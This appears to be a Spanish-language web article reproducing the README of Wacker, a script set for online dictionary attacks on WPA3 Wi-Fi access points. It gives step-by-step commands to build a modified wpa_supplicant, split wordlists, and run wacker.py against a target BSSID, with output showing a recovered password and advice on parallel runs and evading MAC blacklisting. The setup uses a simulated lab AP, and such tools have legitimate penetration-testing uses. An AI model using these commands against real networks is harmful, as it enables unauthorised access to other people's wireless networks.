Wacker Diccionario de Cracking WPA3
Wacker Diccionario de Cracking WPA3

Wacker: Un Diccionario de Cracking WPA3

Un conjunto de scripts para ayudar a realizar un ataque de diccionario en línea contra un punto de acceso WPA3. Wacker aprovecha la interfaz de control de wpa_suplicant para controlar las operaciones del demonio supplicant y para obtener información de estado y notificaciones de eventos, lo que ayuda a acelerar los intentos de conexión durante los intentos de fuerza bruta.

Encuentra un AP WPA3 para utilizar

Si ya tienes un WPA3 AP que funciona entonces genial. En lugar de eso puedes configurar un entorno local usando mac80211_hwsim (detalles abajo) o usar los VMs proporcionados por el RF Hackers Sanctuary (altamente recomendado). Las pruebas se hicieron casi exclusivamente usando los entornos simulados de mac80211. Se prestó poca atención a un AP real… por ahora.

Radios locales simuladas

Para configurar tu propio simulador de software de radios 802.11 simplemente configura y carga el módulo mac80211_hwsim correcto.

# modprobe mac80211_hwsim radios=4
# iwconfig
wlan0     IEEE 802.11  ESSID:off/any
          Mode:Managed  Access Point: Not-Associated   Tx-Power=20 dBm
          Retry short limit:7   RTS thr:off   Fragment thr:off
          Power Management:on

wlan1     IEEE 802.11  ESSID:off/any
          Mode:Managed  Access Point: Not-Associated   Tx-Power=20 dBm
          Retry short limit:7   RTS thr:off   Fragment thr:off
          Power Management:on

wlan2     IEEE 802.11  ESSID:off/any
          Mode:Managed  Access Point: Not-Associated   Tx-Power=20 dBm
          Retry short limit:7   RTS thr:off   Fragment thr:off
          Power Management:on

wlan3     IEEE 802.11  ESSID:off/any
          Mode:Managed  Access Point: Not-Associated   Tx-Power=20 dBm
          Retry short limit:7   RTS thr:off   Fragment thr:off
          Power Management:on

Elige una de las nuevas interfaces como tu punto de acceso al WPA3 y utiliza el siguiente archivo de conf.

cat hostapd.conf
interface=wlan0
ssid=WCTF_18
driver=nl80211
hw_mode=g
channel=1
logger_syslog=-1
logger_syslog_level=3
wpa=2
wpa_passphrase=Aeromechanics
wpa_key_mgmt=SAE
rsn_pairwise=CCMP
ieee80211w=1
group_mgmt_cipher=AES-128-CMAC

Y empezar hostapd con

hostapd -K -dd hostapd.conf

Dividir una Lista de Palabras

Si tienes intenciones de hacer tus esfuerzos de cracking a través de una serie de nics, el script split.sh provisto dividirá una lista de palabras para ti.

./split.sh 10 cyberpunk.words
50916 cyberpunk.words.aaa
50916 cyberpunk.words.aab
50916 cyberpunk.words.aac
50916 cyberpunk.words.aad
50916 cyberpunk.words.aae
50916 cyberpunk.words.aaf
50916 cyberpunk.words.aag
50916 cyberpunk.words.aah
50916 cyberpunk.words.aai
50907 cyberpunk.words.aaj
509151 total

Construyendo wpa_supplicant

Estamos proporcionando nuestro propio wpa_supplicant con el fin de garantizar que se establezcan ciertas configuraciones, así como algunos mods que deben ocurrir dentro del propio código fuente. Para construir simplemente haz lo siguiente. Con suerte, en el futuro esto se convertirá en un paso obsoleto.

# apt-get install -y pkg-config libnl-3-dev gcc libssl-dev libnl-genl-3-dev
# cd wpa_supplicant-2.8/wpa_supplicant/
# cp defconfig_brute_force .config
# make -j4
# ls -al wpa_supplicant
-rwxr-xr-x 1 root root 13541416 May 31 16:30 wpa_supplicant

De interés son algunos mensajes de eventos nuevos que se agregaron a la interfaz de control wpa supplicant para ayudar a distinguir mejor los resultados que el sciript hooks wacker.

/** auth success for our brute force stuff (WPA3) */
#define WPA_EVENT_BRUTE_SUCCESS "CTRL-EVENT-BRUTE-SUCCESS "
/** auth failure for our brute force stuff (WPA3) */
#define WPA_EVENT_BRUTE_FAILURE "CTRL-EVENT-BRUTE-FAILURE " 

Requisito Python

El script wacker.py utiliza unas cuantas f-strings entre otros python3-isms. Con el fin de liberar el código antes, este requisito se mantuvo. Aquí hay algunas instrucciones genéricas de instalación para Python3.7 si es necesario. Sé que en el futuro esto se convertirá en un paso obsoleto.

# apt-get install build-essential tk-dev libncurses5-dev libncursesw5-dev libreadline6-dev libdb5.3-dev libgdbm-dev libsqlite3-dev libssl-dev libbz2-dev libexpat1-dev liblzma-dev zlib1g-dev libffi-dev -y
# wget https://www.python.org/ftp/python/3.7.0/Python-3.7.0.tar.xz
# tar xf Python-3.7.0.tar.xz
# cd Python-3.7.0
# ./configure
# make -j4
# make altinstall

Ejecutando wacker

El script wacker.py está destinado a realizar todo el trabajo pesado.

# ./wacker.py --help
usage: wacker.py [-h] --wordlist WORDLIST --interface INTERFACE --bssid BSSID
                 --ssid SSID --freq FREQ [--start START_WORD] [--debug]

A WPA3 dictionary cracker. Must run as root!

optional arguments:
  -h, --help            show this help message and exit
  --wordlist WORDLIST   wordlist to use
  --interface INTERFACE
                        interface to use
  --bssid BSSID         bssid of the target
  --ssid SSID           the ssid of the WPA3 AP
  --freq FREQ           frequency of the ap
  --start START_WORD    word to start with in the wordlist
  --debug               increase logging output

Con un poco de suerte… ejecutando el ataque usando sólo una instancia…

# ./wacker.py --wordlist cyberpunk.words --ssid WCTF_18 --bssid 02:00:00:00:00:00 --interface wlan2 --freq 2412
Start time: 21 Aug 2020 07:40:11
Starting wpa_supplicant...
    5795 / 509151   words (1.14%) :  79.41 words/sec : 0.020 hours lapsed :   1.76 hours to exhaust (21 Aug 2020 09:25:49)
Found the password: 'Aeromechanics'

Stop time: 21 Aug 2020 07:41:24

Ejecutar múltiples instancias de wacker es fácil si tienes los nics de repuesto. No te olvides de dividir la lista de palabras también.

# ./wacker.py --wordlist cyberpunk.words.aaa --ssid WCTF_18 --bssid 02:00:00:00:00:00 --interface wlan1 --freq 2412
# ./wacker.py --wordlist cyberpunk.words.aab --ssid WCTF_18 --bssid 02:00:00:00:00:00 --interface wlan2 --freq 2412
# ./wacker.py --wordlist cyberpunk.words.aac --ssid WCTF_18 --bssid 02:00:00:00:00:00 --interface wlan3 --freq 2412

Archivos de Interés

wacker es bastante detallado. Los archivos de interés se encuentran en /tmp/wpa_supplicant/

  • wlan1 : un extremo de la uds
  • wlan1_client : un extremo de la uds
  • wlan1.conf: se necesita conf inicial de wpa_supplicant
  • wlan1.log : salida de supplicant  (sólo cuando se usa la opción –debug)
  • wlan1.pid : archivo pid para la instancia wpa_supplciant
  • wlan1_wacker.log : salida de depuración de wacker

Precaución

wacker no maneja las acls puestas en marcha por el objetivo WPA3 AP. Lo que significa que el código actual siempre usa la misma dirección MAC. Si el AP de destino pone en la lista negra nuestra dirección MAC, entonces el script no diferenciará entre un verdadero fallo de autenticación y el rechazo de nuestra MAC en la lista negra. Esto significará que consideraremos la verdadera contraseña como un fallo. Una forma de resolver…. tendríamos que añadir el macchanger a la fuente a expensas de la ralentización.

Wacker aparentemente pausará todo tan a menudo como el AP emitirá un tiempo de espera. Esto hará que la visualización de métricas parezca pausar y luego comenzar de nuevo. Este es el comportamiento esperado.

Problemas Comunes

Verás esto cuando el controlador de tu cliente no sea compatible con el AKM correcto. Por lo general, esto se manifiesta en la salida wpa_supplicant después de intentar ejecutar el script wacker. El supplicant básicamente se quedará esperando más instrucciones con el problema de AKM que se detalla a continuación. El AKM necesario es 00-0F-AC: 8 (SAE) en los casos de WPA3.

u631_3: WPA: AP group 0x10 network profile group 0x18; available group 0x10
u631_3: WPA: using GTK CCMP
u631_3: WPA: AP pairwise 0x10 network profile pairwise 0x18; available pairwise 0x10
u631_3: WPA: using PTK CCMP
u631_3: WPA: AP key_mgmt 0x400 network profile key_mgmt 0x400; available key_mgmt 0x400
u631_3: WPA: Failed to select authenticated key management type
u631_3: WPA: Failed to set WPA key management and encryption suites
Más artículos
MOSINT Herramienta OSINT para Correos
MOSINT: Herramienta OSINT para Correos